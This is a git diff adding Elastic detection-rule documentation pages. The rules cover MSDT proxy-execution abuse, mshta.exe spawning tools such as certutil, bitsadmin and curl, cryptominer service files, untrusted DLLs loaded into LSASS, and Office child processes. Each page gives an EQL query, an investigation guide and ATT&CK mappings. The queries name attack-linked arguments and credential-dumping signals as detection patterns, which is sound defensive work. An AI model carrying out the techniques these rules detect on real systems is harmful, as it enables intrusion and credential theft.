"\\Device\\HarddiskVolume*\\Program Files\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Security Client\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Microsoft Security Client\\*.exe" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-diagnostics-wizard-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-diagnostics-wizard-execution.asciidoc new file mode 100644 index 0000000000..fc3e02ff45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-diagnostics-wizard-execution.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-suspicious-microsoft-diagnostics-wizard-execution]] +=== Suspicious Microsoft Diagnostics Wizard Execution + +Identifies potential abuse of the Microsoft Diagnostics Troubleshooting Wizard (MSDT) to proxy malicious command or binary execution via malicious process arguments. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/nao_sec/status/1530196847679401984 +* https://lolbas-project.github.io/lolbas/Binaries/Msdt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Microsoft Diagnostics Wizard Execution* + + +The Microsoft Diagnostics Troubleshooting Wizard (MSDT) is a legitimate tool used for diagnosing and resolving issues within Windows environments. However, adversaries can exploit MSDT to execute malicious commands by manipulating its process arguments, effectively using it as a proxy for harmful activities. The detection rule identifies such abuse by monitoring for unusual execution patterns, such as atypical file paths, unexpected parent processes, and non-standard executable locations, which are indicative of potential misuse. This proactive detection helps in mitigating risks associated with defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process arguments to identify any suspicious patterns, such as "IT_RebrowseForFile=*", "ms-msdt:/id", "ms-msdt:-id", or "*FromBase64*", which may indicate malicious intent. +- Examine the parent process of msdt.exe to determine if it was launched by an unexpected or potentially malicious process like cmd.exe, powershell.exe, or mshta.exe. +- Check the file path of the msdt.exe executable to ensure it matches the standard locations (?:\Windows\system32\msdt.exe or ?:\Windows\SysWOW64\msdt.exe) and investigate any deviations. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender for Endpoint or Sysmon to identify any related malicious activities or patterns. +- Assess the risk score and severity of the alert to prioritize the investigation and determine if immediate action is required to mitigate potential threats. + + +*False positive analysis* + + +- Legitimate troubleshooting activities by IT staff using MSDT may trigger alerts. To manage this, create exceptions for known IT user accounts or specific machines frequently used for diagnostics. +- Automated scripts or software updates that utilize MSDT for legitimate purposes can cause false positives. Identify these scripts and whitelist their execution paths or parent processes. +- Custom diagnostic tools that leverage MSDT might be flagged. Review these tools and exclude their specific process arguments or executable paths if they are verified as safe. +- Non-standard installations of MSDT in custom environments could be misidentified. Ensure that any legitimate non-standard paths are documented and excluded from monitoring. +- Frequent use of MSDT in virtualized environments for testing purposes may lead to alerts. Consider excluding these environments or specific virtual machines from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the suspicious msdt.exe process to stop any ongoing malicious execution. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and analyze the process arguments and parent processes associated with the msdt.exe execution to identify potential entry points or related malicious activities. +- Restore any affected files or system components from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for msdt.exe and related processes to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "msdt.exe" or process.name : "msdt.exe") and + ( + process.args : ("IT_RebrowseForFile=*", "*FromBase64*", "*/../../../*", "*PCWDiagnostic*") or + ( + process.args : "-af" and process.args : "/skip" and + process.parent.name : ("explorer.exe", "cmd.exe", "powershell.exe", "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe") and + process.args : ("?:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml", "PCWDiagnostic.xml", "?:\\Users\\Public\\*", "?:\\Windows\\Temp\\*") + ) or + + (process.pe.original_file_name == "msdt.exe" and not process.name : "msdt.exe" and process.name != null) or + + ( + ?process.pe.original_file_name == "msdt.exe" and + not process.executable : ( + "?:\\Windows\\system32\\msdt.exe", + "?:\\Windows\\SysWOW64\\msdt.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\system32\\msdt.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msdt.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-html-application-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-html-application-child-process.asciidoc new file mode 100644 index 0000000000..b152a6cc47 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-html-application-child-process.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-suspicious-microsoft-html-application-child-process]] +=== Suspicious Microsoft HTML Application Child Process + +Identifies Mshta.exe spawning a suspicious child process. This may indicate adversarial activity, as Mshta is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Mshta/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Microsoft HTML Application Child Process* + + +Mshta.exe is a legitimate Windows utility used to execute Microsoft HTML Application (HTA) files. Adversaries exploit it to run malicious scripts, leveraging its trusted status to bypass security measures. The detection rule identifies suspicious network activity by Mshta.exe, excluding known benign processes, to flag potential threats. This approach helps in identifying unauthorized network connections indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship of mshta.exe, focusing on any unusual or unexpected parent processes that are not excluded by the rule, such as Microsoft.ConfigurationManagement.exe or known benign executables. +- Analyze the command-line arguments used by mshta.exe to identify any suspicious or unexpected scripts being executed, especially those not matching the excluded ADSelfService_Enroll.hta. +- Examine the network connections initiated by mshta.exe, including destination IP addresses, domains, and ports, to identify any connections to known malicious or suspicious endpoints. +- Check for any related alerts or logs from the same host around the time of the mshta.exe activity to identify potential lateral movement or additional malicious behavior. +- Investigate the user account associated with the mshta.exe process to determine if it has been compromised or is exhibiting unusual activity patterns. + + +*False positive analysis* + + +- Mshta.exe may be triggered by legitimate software updates or installations, such as those from Microsoft Configuration Management. To handle this, add exceptions for processes with parent names like Microsoft.ConfigurationManagement.exe. +- Certain applications like Amazon Assistant and TeamViewer may use Mshta.exe for legitimate purposes. Exclude these by specifying their executable paths, such as C:\Amazon\Amazon Assistant\amazonAssistantService.exe and C:\TeamViewer\TeamViewer.exe. +- Custom scripts or internal tools that utilize HTA files for automation might cause false positives. Identify these scripts and exclude them by their specific arguments, such as ADSelfService_Enroll.hta. +- Regularly review and update the list of exceptions to ensure that only verified benign activities are excluded, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the mshta.exe process if it is confirmed to be making unauthorized network connections. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or files. +- Review and analyze the process tree and network connections associated with mshta.exe to identify any additional compromised processes or systems. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement application whitelisting to prevent unauthorized execution of mshta.exe and similar system binaries. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "mshta.exe" and + ( + process.name : ("cmd.exe", "powershell.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "msiexec.exe", "schtasks.exe", "reg.exe", "wscript.exe", "rundll32.exe") or + process.executable : ("C:\\Users\\*\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\*.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-mining-process-creation-event.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-mining-process-creation-event.asciidoc new file mode 100644 index 0000000000..aae9de2636 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-mining-process-creation-event.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-suspicious-mining-process-creation-event]] +=== Suspicious Mining Process Creation Event + +Identifies service creation events of common mining services, possibly indicating the infection of a system with a cryptominer. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Mining Process Creation Event* + + +Cryptomining exploits system resources to mine cryptocurrency, often without user consent, impacting performance and security. Adversaries may deploy mining services on Linux systems, disguising them as legitimate processes. The detection rule identifies the creation of known mining service files, signaling potential unauthorized mining activity. By monitoring these specific file creation events, security teams can swiftly respond to and mitigate cryptomining threats. + + +*Possible investigation steps* + + +- Review the alert details to identify which specific mining service file was created, focusing on the file names listed in the query such as "aliyun.service" or "moneroocean_miner.service". +- Check the creation timestamp of the suspicious file to determine when the potential unauthorized mining activity began. +- Investigate the process that created the file by examining system logs or using process monitoring tools to identify the parent process and any associated command-line arguments. +- Analyze the system for additional indicators of compromise, such as unexpected network connections or high CPU usage, which may suggest active cryptomining. +- Verify the legitimacy of the file by comparing it against known hashes of legitimate services or using threat intelligence sources to identify known malicious files. +- Assess the system for any other suspicious activities or anomalies that may indicate further compromise or persistence mechanisms. + + +*False positive analysis* + + +- Legitimate administrative scripts or services may create files with names similar to known mining services. Verify the origin and purpose of such files before taking action. +- System administrators might deploy custom monitoring or management services that inadvertently match the file names in the detection rule. Review and whitelist these services if they are confirmed to be non-threatening. +- Automated deployment tools or scripts could create service files as part of routine operations. Ensure these tools are properly documented and exclude them from the detection rule if they are verified as safe. +- Some legitimate software installations might use generic service names that overlap with those flagged by the rule. Cross-check with software documentation and exclude these from alerts if they are confirmed to be benign. + + +*Response and remediation* + + +- Isolate the affected Linux system from the network to prevent further unauthorized mining activity and potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the identified mining services, such as aliyun.service, moneroocean_miner.service, or others listed in the detection query. +- Remove the malicious service files from the system to prevent them from being restarted or reused by the attacker. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Review and update system and application patches to close any vulnerabilities that may have been exploited to deploy the mining services. +- Monitor network traffic for unusual outbound connections that may indicate communication with mining pools or command and control servers, and block these connections if detected. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and event.action in ("creation", "file_create_event") and ( + ( + file.name like~ ( + "moneroocean_miner.service", "c3pool_miner.service", "pnsd.service", "apache4.service", "pastebin.service", "xvf.service" + ) + ) or + ( + process.executable like "/usr/local/share/aliyun-assist/*/aliyun-service" and file.name like~ "aliyun.service" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-module-loaded-by-lsass.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-module-loaded-by-lsass.asciidoc new file mode 100644 index 0000000000..231b43e3e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-module-loaded-by-lsass.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-suspicious-module-loaded-by-lsass]] +=== Suspicious Module Loaded by LSASS + +Identifies LSASS loading an unsigned or untrusted DLL. Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.xpnsec.com/exploring-mimikatz-part-2/ +* https://github.com/jas502n/mimikat_ssp + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Module Loaded by LSASS* + + +The Local Security Authority Subsystem Service (LSASS) is crucial for managing security policies and handling user authentication in Windows environments. Adversaries exploit LSASS by loading malicious or untrusted DLLs to access sensitive credentials. The detection rule identifies such threats by monitoring LSASS for unsigned or untrusted DLLs, excluding known safe signatures and hashes, thus flagging potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the process details for lsass.exe to confirm the presence of any unsigned or untrusted DLLs loaded into the process. Pay particular attention to the DLL's code signature status and hash values. +- Cross-reference the identified DLL's hash against known malicious hashes in threat intelligence databases to determine if it is associated with any known threats. +- Investigate the source and path of the suspicious DLL to understand how it was introduced into the system. This may involve checking recent file creation or modification events in the system directories. +- Analyze the system's event logs for any related activities or anomalies around the time the suspicious DLL was loaded, such as unusual user logins or privilege escalation attempts. +- Check for any recent changes in the system's security settings or policies that might have allowed the loading of untrusted DLLs into LSASS. +- If the DLL is confirmed to be malicious, isolate the affected system to prevent further credential access or lateral movement within the network. + + +*False positive analysis* + + +- Legitimate software from trusted vendors not included in the exclusion list may trigger false positives. Users can update the exclusion list with additional trusted signatures or hashes from verified vendors to prevent these alerts. +- Custom or in-house developed DLLs used within the organization might be flagged as suspicious. Organizations should ensure these DLLs are signed with a trusted certificate and add their signatures to the exclusion list if necessary. +- Security software updates or patches from vendors not currently listed may cause false positives. Regularly review and update the exclusion list to include new trusted signatures from security software providers. +- Temporary or expired certificates for legitimate DLLs can result in false positives. Users should verify the legitimacy of these DLLs and update the exclusion list with their signatures if they are confirmed safe. +- DLLs from newly installed software that are not yet recognized as trusted may be flagged. Users should validate the software's source and add its signatures to the exclusion list if it is deemed secure. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the LSASS process if it is confirmed to be running a malicious or untrusted DLL, ensuring that this action does not disrupt critical services. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges. +- Implement application whitelisting to prevent unauthorized DLLs from being loaded into critical processes like LSASS in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update security monitoring tools to enhance detection capabilities for similar threats, ensuring that alerts are generated for any future attempts to load untrusted DLLs into LSASS. + +==== Rule query + + +[source, js] +---------------------------------- +any where event.category in ("library", "driver") and host.os.type == "windows" and + process.executable : "?:\\Windows\\System32\\lsass.exe" and + not (dll.code_signature.subject_name : + ("Microsoft Windows", + "Microsoft Corporation", + "Microsoft Windows Publisher", + "Microsoft Windows Software Compatibility Publisher", + "Microsoft Windows Hardware Compatibility Publisher", + "McAfee, Inc.", + "SecMaker AB", + "HID Global Corporation", + "HID Global", + "Apple Inc.", + "Citrix Systems, Inc.", + "Dell Inc", + "Hewlett-Packard Company", + "Symantec Corporation", + "National Instruments Corporation", + "DigitalPersona, Inc.", + "Novell, Inc.", + "gemalto", + "EasyAntiCheat Oy", + "Entrust Datacard Corporation", + "AuriStor, Inc.", + "LogMeIn, Inc.", + "VMware, Inc.", + "Istituto Poligrafico e Zecca dello Stato S.p.A.", + "Nubeva Technologies Ltd", + "Micro Focus (US), Inc.", + "Yubico AB", + "GEMALTO SA", + "Secure Endpoints, Inc.", + "Sophos Ltd", + "Morphisec Information Security 2014 Ltd", + "Entrust, Inc.", + "Nubeva Technologies Ltd", + "Micro Focus (US), Inc.", + "F5 Networks Inc", + "Bit4id", + "Thales DIS CPL USA, Inc.", + "Micro Focus International plc", + "HYPR Corp", + "Intel(R) Software Development Products", + "PGP Corporation", + "Parallels International GmbH", + "FrontRange Solutions Deutschland GmbH", + "SecureLink, Inc.", + "Tidexa OU", + "Amazon Web Services, Inc.", + "SentryBay Limited", + "Audinate Pty Ltd", + "CyberArk Software Ltd.", + "McAfeeSysPrep", + "NVIDIA Corporation PE Sign v2016", + "Trend Micro, Inc.", + "Fortinet Technologies (Canada) Inc.", + "Carbon Black, Inc.") and + dll.code_signature.status : ("trusted", "errorExpired", "errorCode_endpoint*", "errorChaining")) and + + not dll.hash.sha256 : + ("811a03a5d7c03802676d2613d741be690b3461022ea925eb6b2651a5be740a4c", + "1181542d9cfd63fb00c76242567446513e6773ea37db6211545629ba2ecf26a1", + "ed6e735aa6233ed262f50f67585949712f1622751035db256811b4088c214ce3", + "26be2e4383728eebe191c0ab19706188f0e9592add2e0bf86b37442083ae5e12", + "9367e78b84ef30cf38ab27776605f2645e52e3f6e93369c674972b668a444faa", + "d46cc934765c5ecd53867070f540e8d6f7701e834831c51c2b0552aba871921b", + "0f77a3826d7a5cd0533990be0269d951a88a5c277bc47cff94553330b715ec61", + "4aca034d3d85a9e9127b5d7a10882c2ef4c3e0daa3329ae2ac1d0797398695fb", + "86031e69914d9d33c34c2f4ac4ae523cef855254d411f88ac26684265c981d95") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-ms-office-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-ms-office-child-process.asciidoc new file mode 100644 index 0000000000..10ab46bdcd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-ms-office-child-process.asciidoc @@ -0,0 +1,251 @@ +[[prebuilt-rule-8-19-20-suspicious-ms-office-child-process]] +=== Suspicious MS Office Child Process + +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, Excel). These child processes are often launched during exploitation of Office applications or from documents with malicious macros. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/vulnerability-summary-follina + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious MS Office Child Process* + + +Microsoft Office (MS Office) is a suite of applications designed to help with productivity and completing common tasks on a computer. You can create and edit documents containing text and images, work with data in spreadsheets and databases, and create presentations and posters. As it is some of the most-used software across companies, MS Office is frequently targeted for initial access. It also has a wide variety of capabilities that attackers can take advantage of. + +This rule looks for suspicious processes spawned by MS Office programs. This is generally the result of the execution of malicious documents. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve MS Office documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + 